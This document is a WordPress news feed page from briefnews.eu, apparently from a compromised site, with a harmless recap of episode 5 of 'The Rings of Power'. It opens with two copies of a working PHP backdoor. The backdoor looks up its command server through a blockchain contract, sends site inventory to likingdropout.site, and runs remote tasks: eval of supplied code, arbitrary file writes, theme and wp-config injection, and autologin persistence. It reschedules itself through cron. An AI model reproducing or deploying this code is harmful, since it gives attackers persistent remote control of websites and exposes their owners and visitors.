// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); divided – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 10:34:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png divided – Brief News https://briefnews.eu 32 32 Divided Loyalties And Painful ‘Partings’ Take Centerstage In The Lord Of The Rings: The Rings Of Power https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/ https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/#respond Fri, 23 Sep 2022 10:34:46 +0000 https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/

Five episodes into “The Lord of the Rings: The Rings of Power,” we’re now officially more than halfway through the deliberately-paced season and many viewers still find themselves struggling with the idea of what an adaptation of J.R.R. Tolkien should “feel” like. Nobody can ever really define what such a subjective statement actually means, of course, especially since material as well-known as this comes with such a broad range of appeal among so many different demographics. But I’m going to go out on a limb and guess that the opening of episode 5, titled “Partings,” immediately sets the tone for a far more coherent hour than last week’s scattershot episode and lives up to much of what fans would consider quintessential Tolkien.

After a quiet but foreboding conversation between Nori (Markella Kavenagh) and the Stranger (Daniel Weyman), where the almost childlike amnesiac expresses doubt over whether he’s actually good or not (RIP those poor fireflies!), our main family of straggling Harfoots embark on their long and punishing migration to catch up with the rest of the clan. But the stirring travelogue, accompanied by Poppy’s (Megan Richards) wonderful walking song, perhaps best encompasses the unique magic that these characters bring to the series that helps recapture what worked so well in “The Lord of the Rings.”

Although the sequence ends on another ominous note with a match cut between the full moon, the Stranger’s fiery arrival on the meteor, and the ash-ridden landing spot that has now been discovered by some evil-looking figures (led by the unidentified character played by actor Bridie Sisson, who probably isn’t Sauron), the montage evokes some of the best moments from Peter Jackson’s trilogy and even Tolkien’s novels, as well. And, most importantly, the focus on the Stranger as he observes these kindhearted Harfoots working together for a common good establishes the episode’s running theme: Whether where we come from has to dictate where we choose to go.

In other words? Perhaps not all who wander are really lost.

Deep Divisions

The rest of the hour purposefully jars viewers loose of the melancholy reverie that opens the episode, transitioning to the villainous Adar (played by “Game of Thrones” alum Joseph Mawle) as he readies “legions” of orcs to attack the Southlanders taking shelter in the abandoned elf watchtower. Here is where the first of the episode’s many partings occur, as the deluded Waldreg (Geoff Morrell) interrupts Bronwyn’s (Nazanin Boniadi) inspirational speech and promptly divides the group into two — one that’s keen on forsaking the Morgoth-sympathizing history of their ancestors and fight off Adar’s army, and the other seduced by Adar’s promise of safe passage if only they kneel and swear fealty to him. Not even Arondir’s (Ismael Cruz Córdova) pleas can stop fully half of the villagers from embracing their dark history and going over to the enemy.

Not even those enlightened inhabitants of Númenor are immune to the widening gulf swallowing up our main characters in Middle-earth, as the island kingdom endures divisiveness of its own between those who support Galadriel (Morfyyd Clark) and Queen Míriel’s (Cynthia Addai-Robinson) call to arms and the those less eager to wade into a war that they have no part in. This is mostly seen through the eyes of Eärien (Ema Horvath) and Kemen (Leon Wadham), two characters created for the show with familial ties to figures playing a direct role in the upcoming battle. Coaxed into confronting his influential father, Kemen instead gets an eye-opening lesson in politics as Pharazôn (Trystan Gravelle) reveals his hidden agenda for joining the fight — increased power for Númenor, potential trade profits, and the possibility of flipping their dynamic with the unwanted elves by making them take orders from Númenor, for a change.

Meanwhile, Galadriel and Halbrand (Charlie Vickers) provide a personal balance to the political strife when the elf pushes the exiled Southlander king too far. Content to live in peaceful seclusion, Halbrand instead feels like Galadriel shamelessly manipulates his claim to the throne to provoke Míriel into sending the formidable Númenorean fleet in the first place … and he’s not wrong, either.

Darkness In Middle-Earth

Elsewhere, things grow even direr for those back on the mainland. First, the mysterious power that the Stranger wields takes a turn for the sinister when he successfully fends off wild wolves attacking the Harfoots — but at the cost of strange, diseased-looking markings on his arm that soon results in more harmful side-effects for the innocents around him. With his magic seeming to grow in strange and unpredictable ways, the Stranger inadvertently gets Nori caught up in some sort of incantation that freezes water and her arm along with it. In case composer Bear McCreary’s apprehensive score didn’t give it away, the scene transition preceding this moment — where we abruptly cut from Míriel’s royal father warning her against “darkness” in Middle-earth to the Stranger himself — ought to raise viewers’ eyebrows even further about this character’s true intentions. Tom Bombadil truthers, it’s not looking so great anymore!

The spread of darkness in Middle-earth becomes much more literal in the storyline involving Elrond (Robert Aramayo), Prince Durin (Owain Arthur), and High King Gil-Galad (Benjamin Walker). While marking the successful “union” of their people with the building of the forge, however, even their celebratory toast is marred by mistrust on both sides of the elf/dwarf divide. Elrond begins to suspect that the High King had ulterior motives all along and, as Gil-Galad himself admits, it comes down to mithril. The twist involves the “blight” that we’ve seen growing on various plants and trees (first seen when the Stranger’s meteor streaked overhead at the end of the premiere, in fact) and the fading of the Eldar’s light posing an existential threat to elves everywhere. Only mithril, which contains the light of the Silmarils (and, by extension, the trees of Valinor themselves), can save them from having their immortal souls “dwindle” … somehow.

Admittedly, this danger still feels too vague and ill-defined to really mean anything to us just yet, but it’s enough to sink Elrond into a crisis of conscience over whether to abide by the oath he swore to Durin last week to keep his secret, or to admit his knowledge of the dwarves’ discovery of mithril (even though Gil-Galad pretty much figures it out already).

Decisions, Decisions…

Every character, it seems, dangles on a knife’s edge in this episode and must confront fateful choices that will define the rest of the season to follow.

In the Southlands, young Theo (Tyroe Muhafidin) elects to stay with his mother over Waldreg and even goes so far as to open up to Arondir about his broken sword hilt. Both decisions pay off when Arondir immediately recognizes it as some kind of a “key” that (quite conveniently) lines up with an old stone statue at the watchtower. Whatever the specifics, it’s clear that Adar seeks to recover Theo’s hilt … at all costs.

Meanwhile, Isildur (Maxim Baldry) and Kemen find their actions intersecting in explosive ways on Númenor, when the former’s attempt to stowaway on one of the warships under the nose of his father Elendil (Lloyd Owen) coincides with the latter’s devious act of sabotage to blow up the fleet and prevent the island from entering war in Middle-earth at all. Bound by mutually assured destruction if either one reveals the other’s secret, the rest of the main characters must instead deal with the fallout of having only 3 ships left.

Ultimately, Halbrand alludes to dark secrets of his own when he stands as the deciding vote over whether to aid Middle-earth or not against Sauron. He heavily implies that he was forced to ally with the enemy in order to make it onto that raft in the Sundering Seas where he met Galadriel in the first place. But rather than judge him, Galadriel’s admission that she simply can’t stop fighting — to the point that even friends like Elrond could no longer differentiate herself from the evil she meant to defeat — draws even more parallels between the two characters. And though Halbrand wavers over whether to rise above his past or not, his sense of honor finally wins out.

Halbrand, Bronwyn, Durin, and more all hold the fate of kingdoms in their hands, and all factor into the episode’s impressively strong focus on overcoming great divides and past failures to do the right thing. With only a handful of episodes left, “The Rings of Power” has carefully positioned its characters to stand on the cusp of their biggest battle and most daunting challenge yet.

Riddles In The Dark And Other Stray Thoughts

  • Adar: Still kept at arm’s reach from us, Adar’s plan finally begins to come into focus here and seems to dovetail with his backstory as a corrupted elf. In a painful interaction with an unfortunate orc, he describes how he means to essentially steal the light of the sun — a revelation that should feel somewhat more ominous now that we know how much the elves are seeking to preserve the light of the Valar to save their people.
  • Identity Crisis: This episode is frustratingly light on any real humor until Durin ruefully admits that his stunt with the stone table, which he played up as some culturally significant rock, was all a ruse. But before that, an unintentional bit of comedy comes when Waldreg speaks for quite a bit of the fanbase and mistakes Adar for Sauron himself. His incredulous reaction safely shoots that theory down for good (while suggesting a possible rivalry between them), though he’s obviously no less evil when he forces Waldreg to kill Theo’s young friend in cold blood to prove his loyalty. Dark, man.
  • “Matrix” Moment: One of the best moments in the episode has to be Galadriel’s thrilling sword fighting demonstration with the young Númenorean soldiers, showing off a wonderfully choreographed fight sequence that feels more like a dance — a choice that perfectly fits the context of the elf warrior clearly toying with inexperienced, yet prideful punks. With the caveat that I may be the only one who feels this way, I couldn’t help but think of a certain scene from “The Matrix” when Isildur overhears the commotion as others rush to the fight. It’s basically “Morpheus is fighting Neo!” writ large — and to similar results.
  • Echoes of Helm’s Deep: It remains to be seen if next week’s episode dedicates a significant portion to the encroaching battle between the Southlanders and Adar (with the Númenoreans soon to arrive, as well), but much of the setup to this conflict felt like intentional references to how “The Two Towers” painstakingly set up its main battle — not just through the pervasive sense of dread for the overmatched defenders, but particularly that shot where Arondir and Bronwyn look down upon the orc encampment, lit by torchlight. Prime Video’s budget for this series will certainly be put to the test once this battle unfolds in earnest.

Read this next: The Best Lord Of The Rings Characters Who Weren’t In The Movies

The post Divided Loyalties And Painful ‘Partings’ Take Centerstage In The Lord Of The Rings: The Rings Of Power appeared first on /Film.

